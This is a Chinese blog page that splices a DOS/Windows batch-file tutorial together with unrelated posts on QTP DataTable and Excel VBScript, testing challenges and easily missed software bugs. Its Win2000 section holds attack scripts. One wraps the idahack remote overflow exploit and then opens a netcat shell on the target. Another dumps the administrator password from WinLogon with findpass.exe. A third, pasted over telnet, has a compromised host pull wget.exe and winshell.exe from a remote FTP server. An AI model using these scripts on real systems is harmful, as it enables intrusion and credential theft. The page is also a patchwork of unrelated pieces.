第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例:
@ECHO OFF
PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
LH SMARTDRV.EXE /X
LH DOSKEY.COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D:\TEMP
SET TMP=D:\TEMP
批处理的作用
简单的说,批处理的作用就是自动的连续执行多条命令。
这里先讲一个最简单的应用:在启动wps软件时,每次都必须执行(>前面内容表示DOS提示符):
C:\>cd wps
C:\WPS>spdos
C:\WPS>py
C:\WPS>wbx
C:\WPS>wps
如果每次用WPS之前都这样执行一遍,您是不是觉得很麻烦呢?
好了,用批处理,就可以实现将这些麻烦的操作简单化,首先我们编写一个runwps.bat批处理文件,内容如下:
@echo off
c:
cd\wps
spdos
py
wbx
wps
cd\
以后,我们每次进入wps,只需要运行runwps这个批处理文件即可。
常用命令
echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。
echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。
pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续
rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。
例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。
批处理文件的内容为: 命令注释:
@echo off 不显示后续命令行及当前命令行
dir c:\*.* >a.txt 将c盘文件列表写入a.txt
call c:\ucdos\ucdos.bat 调用ucdos
echo 你好 显示"你好"
pause 暂停,等待按键继续
rem 准备运行wps 注释:准备运行wps
cd ucdos 进入ucdos目录
wps 运行wps
批处理文件的参数
批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符“%”。
%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。
例2:C:根目录下有一批处理文件名为f.bat,内容为:
@echo off
format %1
如果执行C:\>f a:
那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:
例3:C:根目录下一批处理文件名为t.bat,内容为:
@echo off
type %1
type %2
那么运行C:\>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
于是上面的命令将顺序地显示a.txt和b.txt文件的内容。
特殊命令
if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。
一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if [not] "参数" == "字符串" 待执行的命令
参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。
例:if "%1"=="a" format a:
2、if [not] exist [路径\]文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如: if exist c:\config.sys type c:\config.sys
表示如果存在c:\config.sys文件,则显示它的内容。
3、if errorlevel <数字> 待执行的命令
很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。
如:
goto end
:end
echo this is the end
标号用“:字符串”来定义,标号所在行不被执行。
三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。
注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。
choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):
CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]
描述:
该工具允许用户从选择列表选择一个项目并返回所选项目的索引。
参数列表:
/C choices 指定要创建的选项列表。默认列表是 "YN"。
/N 在提示符中隐藏选项列表。提示前面的消息得到显示,选项依旧处于启用状态。
/CS 允许选择分大小写的选项。在默认情况下,这个工具是不分大小写的。
/T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0,就不会有暂停,默认选项
会得到选择。
/D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时,必须用 /T 指定 nnnn。
/M text 指定提示之前要显示的消息。如果没有指定,工具只显示提示。
/? 显示帮助消息。
注意:
ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降序排列。
示例:
CHOICE /?
CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"
CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"
如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
屏幕上会显示:
确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?
例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errotlevel 1 goto defrag
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此批处理运行后,将显示“defrag,mem,end[D,M,E]?” ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。
四、for 循环命令,只要条件符合,它将多次执行同一命令。
语法:
对一组文件中的每一个文件执行某个特定命令。
FOR %%variable IN (set) DO command [command-parameters]
%%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
例如一个批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。
批处理示例
1. IF-EXIST
1)
首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下:
@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist
然后运行它:
C:\>TEST1.BAT
如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。
2)
接着再建立一个test2.bat文件,内容如下:
@ECHO OFF
IF EXIST \%1 TYPE \%1
IF NOT EXIST \%1 ECHO \%1 does not exist
执行:
C:\>TEST2 AUTOEXEC.BAT
该命令运行结果同上。
说明:
(1) IF EXIST 是用来测试文件是否存在的,格式为
IF EXIST [路径+文件名] 命令
(2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。
3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN
如果运行:
C:\>TEST3 A B C
屏幕上会显示:
XIAO
TIAN
XIN
如果运行:
C:\>TEST3 A B
屏幕上会显示
XIAO
TIAN
在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。
2、IF-ERRORLEVEL
建立TEST4.BAT,内容如下:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败
IF ERRORLEVEL 0 ECHO 成功拷贝文件
然后执行文件:
C:\>TEST4
如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。
IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 0 ECHO 成功拷贝文件
IF ERRORLEVEL 1 ECHO 未找到拷贝文件
IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误
无论拷贝是否成功,后面的:
未找到拷贝文件
用户通过ctrl-c中止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程中写盘错误
都将显示出来。
以下就是几个常用命令的返回值及其代表的意义:
backup
0 备份成功
1 未找到备份文件
2 文件共享冲突阻止备份完成
3 用户用ctrl-c中止备份
4 由于致命的错误使备份操作中止
diskcomp
0 盘比较相同
1 盘比较不同
2 用户通过ctrl-c中止比较操作
3 由于致命的错误使比较操作中止
4 预置错误中止比较
diskcopy
0 盘拷贝操作成功
1 非致命盘读/写错
2 用户通过ctrl-c结束拷贝操作
3 因致命的处理错误使盘拷贝中止
4 预置错误阻止拷贝操作
format
0 格式化成功
3 用户通过ctrl-c中止格式化处理
4 因致命的处理错误使格式化中止
5 在提示“proceed with format(y/n)?”下用户键入n结束
xcopy
0 成功拷贝文件
1 未找到拷贝文件
2 用户通过ctrl-c中止拷贝操作
4 预置错误阻止文件拷贝操作
5 拷贝过程中写盘错误
3、IF STRING1 == STRING2
建立TEST5.BAT,文件内容如下:
@echo off
IF "%1" == "A" formAT A:
执行:
C:\>TEST5 A
屏幕上就出现是否将A:盘格式化的内容。
注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。
如:if [%1]==[A] 或者 if %1*==A*
5、GOTO
建立TEST6.BAT,文件内容如下:
@ECHO OFF
IF EXIST C:\AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:\AUTOEXEC.BAT D:\
:_DONE
注意:
(1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。
(2) 标号的命名规则与文件名的命名规则相同。
(3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。
6、FOR
建立C:\TEST7.BAT,文件内容如下:
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
运行:
C:>TEST7
执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。
win2000命令行方式批处理BAT文件技巧
文章结构
1. 所有内置命令的帮助信息
2. 环境变量的概念
3. 内置的特殊符号(实际使用中间注意避开)
4. 简单批处理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat
###########################
1. 所有内置命令的帮助信息
###########################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
下面将所有上面的帮助输出到一个文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
#############################
2. 环境变量的概念
#############################
C:\Program Files>set
ALLUSERSPROFILE=C:\Documents and Settings\All Users
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=FIRST
ComSpec=C:\WINNT\system32\cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2\dll;
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:\Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:\WINNT
TEMP=C:\WINNT\TEMP
TMP=C:\WINNT\TEMP
USERPROFILE=C:\Documents and Settings\Default User
windir=C:\WINNT
path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%\system32\. 这个目录里面. 一般就可以自动搜索到.
语法: copy mychenxu.exe %windir%\system32\.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还有
%temp% 临时文件目录
%windir% 系统目录
%errorlevel% 退出代码
输出文件到临时文件目录里面.这样便于当前目录整洁.
对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
C:\>dir p*
C:\ 的目录
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47 <DIR> Program Files
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节
C:\>cd pro*
C:\Program Files>
C:\>
C:\>cd "Program Files"
C:\Program Files>
############################################
3. 内置的特殊符号(实际使用中间注意避开)
############################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux \ / | || && ^ > < *
You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
To create the variable value new&name, type:
set varname=new^&name
To create the variable value "new&name", type:
set varname="new&name"
The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing
> 创建一个文件
>> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一样的缺省分隔符号.
; 注释,表示后面为注释
: 标号作用
| 管道操作
& Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2
IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
########################
4. 简单批处理文件概念
########################
echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二个echo是追加
第三个echo将清空a.txt 重新创建 a.txt
netstat -n | find "3389"
这个将要列出所有连接3389的用户的ip.
________________test.bat______
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显示注释语句,本行显示
@rem 不显示注释语句,本行不显示
@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
_____________________________
下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.
___________________ida.bat_____
@rem ver 1.0
@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"
@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2
:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%\_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%\_tmp
@find "good luck :)" %temp%\_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:SP2
@idahack.exe %1 80 %2 99 %temp%\_tmp
@type %temp%\_tmp
@find "good luck :)" %temp%\_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)
:END
_____________________ida.bat__END_______
下面我们再来第二个文件.就是得到administrator的口令.
大多数人说得不到.其实是自己的没有输入正确的信息.
___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"
@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%\_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%\_findpass.txt
@goto END
:USAGE
@pulist.exe >%temp%\_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"
:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END___________________________________________________________
还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!
echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w -
DataTable使用方法
2008-08-08 22:25:57
Function ImportSheet(ExcelSheetName)
Err.Clear
Dim sheetCount
sheetCount = DataTable.GetSheetCount
For i = 1 to sheetCount
If strcomp(ExcelSheetName, DataTable.GetSheet(i).Name) = 0 Then
ImportSheet = True
Exit Function
End If
Next
DataTable.AddSheet ExcelSheetName
DataTable.ImportSheet "RandallTest.xls", ExcelSheetName, ExcelSheetName
If Err.Number<>0 Then
ImportSheet = False
Exit Function
Else
ImportSheet = True
End If
End FunctionFunction GetCellData(DTSheetName, FieldName, Row)
Err.Clear
Dim sheetCount
Dim blnExist
blnExist = False
sheetCount = DataTable.GetSheetCount
For i = 1 to sheetCount
If strcomp(DTSheetName, DataTable.GetSheet(i).Name) = 0 Then
blnExist = True
Reporter.ReportEvent micDone, "GetSheet: "+DTSheetName, "Passed"
Exit For
End If
Next
If Not blnExist Then
Reporter.ReportEvent micFail, "Sheet Exist: "+ DTSheetName, "Failed"
GetCellData = False
Exit Function
End If
DataTable.SetCurrentRow Row
GetCellData = DataTable.Value(FieldName, DTSheetName)
If Err.Number<>0 Then
Reporter.ReportEvent micFail, "GetSheetValue", "Failed"
Exit Function
End If
End Function -
测试难题
2008-08-03 11:40:34
转:http://blog.csdn.net/omomo/archive/2007/06/10/1646233.aspx
最近人们谈到测试,常常会听到:测试其实很复杂,所以很有前途。但具体怎么复杂却不尽其详。我觉得这篇我在微软内部测试架构师站点里读到的,Jim Moore 关于测试领域中有待解决的难题的文章很有启发。读过之后,静心想想,技术含量如何?好像蛮高的?呵呵,也许吧。这其中有些在微软已经解决了,有些却也是没有解决的。 突然发现,测试技术对一个公司来说好像还蛮秘密的,微软很多内部测试工具测试框架都不产品化,虽然那些工具看起来是可以普遍运用到业界的。
<<翻译开始了>>
难题可以分为这么些类别:质量衡量标准 (标尺)
可清晰量化的衡量产品质量
测试覆盖率-代码块覆盖,功能覆盖,用例覆盖.... 这么多覆盖率,每个覆盖率,合理的目标是多少? 50%? 80% 100%
按照找到的缺陷数目,多少是被用户找到的,多少是被内部非测试团队找到的,多少是被测试团队找到的,以此为衡量质量的标尺之一?
重复发生的回归性缺陷数目
补丁和Service package数量,来衡量质量
我们有这么多可以用来衡量质量的标准,那么,哪些应该是核心的标准,最重要的普遍标准.怎么把各个标准和质量关联上?
制定发布的质量指标,怎样才是正确的指标,可以指导我们决定发布还是延迟发布产品直到我们达到该指标.
怎么定义测试效率?包括怎么衡量s变化对测试的影响..
怎么定义测试"完成"了?复杂领域产品测试:
音频和视频质量测试
"看起来效果对吗?"
"听起来效果对吗?"
效果"好"吗?
各种主观类型的测试判断测试工具对系统本身的影响(测不准原理?):
性能测试工具本身对机器性能的影响所导致的测不准效果.
测试要素的各种组合(测试范围庞大):
测试要素组合, 覆盖各种可能组合,将变得庞大: 操作系统 vs. 调试/发布 vs. 硬件配置 vs. 各种语言 vs. etc. vs. etc.
无穷无尽的用户可能输入.
有时间相关性的产品的测试.各种时间可能的穷举是无限的.整个产品范围测试中的问题
整个产品的压力测试
这个产品性能测试 vs. 各个开发组对自己模块所作的性能测试
集成测试.测试集优选:
由时间和进度影响决定?
由用户影响决定?
由平均测试用例所找到的缺陷数决定? (或者考虑其他投资回报因素而决定)
挑选测试用例覆盖了所更改的代码,依此决定?
由所要测试的代码复杂度决定?项目计划安排:
准确估计测试所需要的时间.
测试团队如何参与决定项目整体进度计划.
敏捷快速迭代测试的计划安排.测试对项目的影响:
争取修复缺陷– i.e. 比如要求开发组修复缺陷,而他们回答"没人会这么做!", 这个时候怎么有理有据的坚持要求修复缺陷.
设计阶段的测试团队参与 – 可测试性的分析/设计.
是否该拥有对发布/不发布的决策的影响.测试自动化:
自动化测试用例的后期维护梦魇.
怎么模拟人眼人耳来做自动化测试(音频/视频测试)
产品代码中缺乏足够的接口来支持自动化测试(比如开发人员自己画出来的控件)
模拟N用户操作的自动化测试(N非常大)
模拟真实的用户-- [随机的用户行为]集成测试:
集成测试中的自动化测试
调试的责任,谁做集成测试,谁负责调试整个产品中的问题?
集成测试应该包含哪些测试用例?其他普遍的难题:
几个版本发布之后,积累的测试代码变得臃肿和难以维护.
设计不好的测试代码,重复的测试代码,各个测试自动化队伍之间缺乏总体的设计和架构避免冗余工作
冗余的测试用例
留住有经验的测试人才 -
Excel 操作
2008-08-02 11:53:25
Excel.Application
Excel中几个常用对象:WorkBooks,WorkSheets,Cells.可以通过Name属性标识,也可通过index标识。
Dim ExcelApp
Set ExcelApp = CreateObject("Excel.Application")
ExcelApp.WorkBooks.Open "F:\RandallTest.xls"
Dim myWorkBook
Set myWorkBook = ExcelApp.workbooks(1)
myWorkBook.WorkSheets("Sheet1").Activate
Dim myWorkSheet
Set myWorkSheet = myWorkBook.worksheets("Sheet1")
msgbox myWorkSheet.Cells(1,1).Value
myWorkSheet.Cells(1,1).Value = "temp"
myWorkBook.SaveAs "C:\RandallTest.xls"
Set ExcelApp = nothing -
测试容易遗漏的bug
2008-07-19 10:54:41
网络转载:
通常软件测试会暴露软件中的缺陷,经过修正后可以保证软件系统的功能满足需求并正确运行。但是,在系统测试和确认测试中,测试人员容易遗漏一些隐藏的缺陷。众所周知,软件测试不可能发现所有的缺陷,而软件开发周期各个阶段仍然存在注入缺陷的可能,但是,有一些缺陷是测试中容易忽略的,也就是说,通过测试方法和用例可以充分暴露这些缺陷,遗憾的是,它们往往被忽略或者某种原因忘记测试了,这就给软件留下了隐患或者危机。这些容易被忽略的缺陷包括:
1、安装缺陷
通常项目组完成代码后,发布时候安装打包是最后一个环节,而软件测试人员通常在测试的时候,没有仔细的测试这一部分,而把用例集中在其他功能上。安装时候的缺陷通常通过拷贝而不是运行安装程序方式给测试人员安装软件,结果正式安装时候出现问题,引起例如控件没有注册,注册表没有导入等。删除时候没有注意安装文件夹是否存在用户文件,造成数据丢失;使用绝对路径;安装顺序没有说明书。
2、配置文件
有些文件在ini等配置文件中写出了管理员口令密码等信息,而且是明文的!这是一个安全隐患。另外,有些安装文件的 XML 文件,为了方便在数据库和中间层连接文件中写入了Admin 口令和密码。作为一个合格的软件测试人员,必须检查这些可以用记事本打开的文件。因为,一个稍有常识而且喜欢探索的用户,可能从中获取信息而成为不自觉的黑客。所以,配置文件可能成为软件安全方面的一个缺陷。
3、网页安全缺陷
现在网站开发已经注意到:登陆网站进入其内部网页后,直接拷贝网址,然后粘贴到另一IE 窗口输入,可以绕过登陆直接访问。也许商业网站很关注这个问题,但是很多行业软件却很容易忽略。
网页安全缺陷还可能存在于 IE 弹出的子窗口。有些设计不严格的软件,在主页面关闭的时候子页面还可以运行,这是一个明显的漏洞,而且还大大增加了错误发生的几率。
4、判断顺序/逻辑缺陷
对界面进行多个输入判断的时候,非常容易出现这种问题。例如判断年月顺序,判断长度,判断非空等。假如操作员仅仅满足单个条件,保存不能成功;而按界面从上之下顺序一一满足条件之后,保存是没有问题的。但是,改变一下输入的次序,校验失效。例如,一一满足条件之后,不保存,倒过来将上面的输入改成非法输入,然后保存,结果居然也能成功,这是因为原先的判断由于发生过,或者根据语句顺序只检查最后一个判断,所以没有报错。这种错误尤其在 Java scrīpt 脚本的页面中要注意。能够保存不能保证数据正确,有可能引起系统崩溃或者后续数据错误。所以,在测试的时候,不要按照正常的顺序输入,而是要打乱步骤,看看代码是否强健,是否在判断逻辑上没有错误。良好的代码应该经得起折腾,至少保存时会再此全部进行判断,而不只是简简单单走到判断的最后一行。
5、调试语句和冗余信息
维护项目和升级改造的推广系统最容易潜伏这类缺陷。典型表现在没有删除或者屏蔽调试语句。弹出一个界面不友好的提示信息,会使不明真相的用户产生误以为系统发生了严重故障,从而引起对软件的不信任感。页面中某个角落存在当前客户不需要的冗余按钮和功能也是一种缺陷。多余的功能会使用户以为是额外附加部分而去使用,其结果可想而知;而多余的按钮会误导好奇心强的用户操作,产生不必要的错误。
同样值得关注的还有参数设置,由于没有实际数据,开发人员在调试或者单元测试的时候,习惯性的进行自我设定而忘了删除,软件测试人员可能会忽略掉了这部分测试,也可能导致在客户现场发生错误而影响系统发布和验收。
6、不可重现的故障
新参加软件测试的人员或者新来的开发人员总是要问,不可重现的缺陷是否需要记录,有必要吗?回答是肯定的。测试必须如实的记录发生的问题,也许不能重现,或者使非软件系统本身问题,但是,可能这些偶然性背后是有规律的,不记录这些,就不可能发现这些规律。
7、多节点的逆向流转缺陷
当前软件不少喜欢使用工作流来驱动。工作流的问题,就是可能出现多个流向分支。测试容易忽略的部分,就是工作流多节点的逆向流转。例如,通过不通过涉及两个分支,但是流程逆转的时候,有可能不是回到上一节点而是平级的另一个节点去了。软件测试要格外注意这类用例的设计。另外,有些时候默认分支在向前的时候是有默认值的,例如默认通过,那么保存的时候要提示用户是否通过,否则可能由于操作疲劳而走错了节点,引起回退。
8、输入框缺陷
试过往输入框粘贴数据而不是直接输入吗?可能这里会出现问题。按 Ctrl+V 的时候,输入框会根据长度大小自动截断输入长度。但是用鼠标,截断可能会失效。有一次测试人员就是用这种方法把一篇 Word 文档输入进去了,保存的时候,数据库崩溃。有些网站登陆的口令****可以拷贝下来的,只要放在剪贴板里面马上明文显示。
输入框可以说是问题最多的部分,能够引起的麻烦也很多。日期、数字、文本等等,都需要耐心的测试一下。
9、界面布局缺陷
曾经有一次,项目经理回来向测试部反映一个问题,客户对界面不满意。原因很简单,因为界面上删除按钮和保存按钮挨得很近。结果有些操作不熟练的业务人员,很容易误按。这个问题是测试人员没有意料到的,因此注意关闭、删除、退出按钮与保存、下一步等按钮的距离。类似的按钮应按此规则排列分布。
界面布局还可能发生在窗口最大化和最小化上,有可能窗口缩小的时候没有下拉框或不匹配分辨率,对用户来讲,这个错误实在很低级。有些用户由于操作习惯,非常不喜欢腾出手使用鼠标,尤其是大量输入的界面,因此,要注意设置键盘的快捷方式。还有,按 Tab定位到下一焦点时要注意顺序,避免跳转太灵活而让操作人员感到无从适应,在界面进行维护或者修改的时候,不要忘了软件测试开发人员是否无意改变了这些快捷方式和跳转顺序。
10、版本和补丁包的环境问题
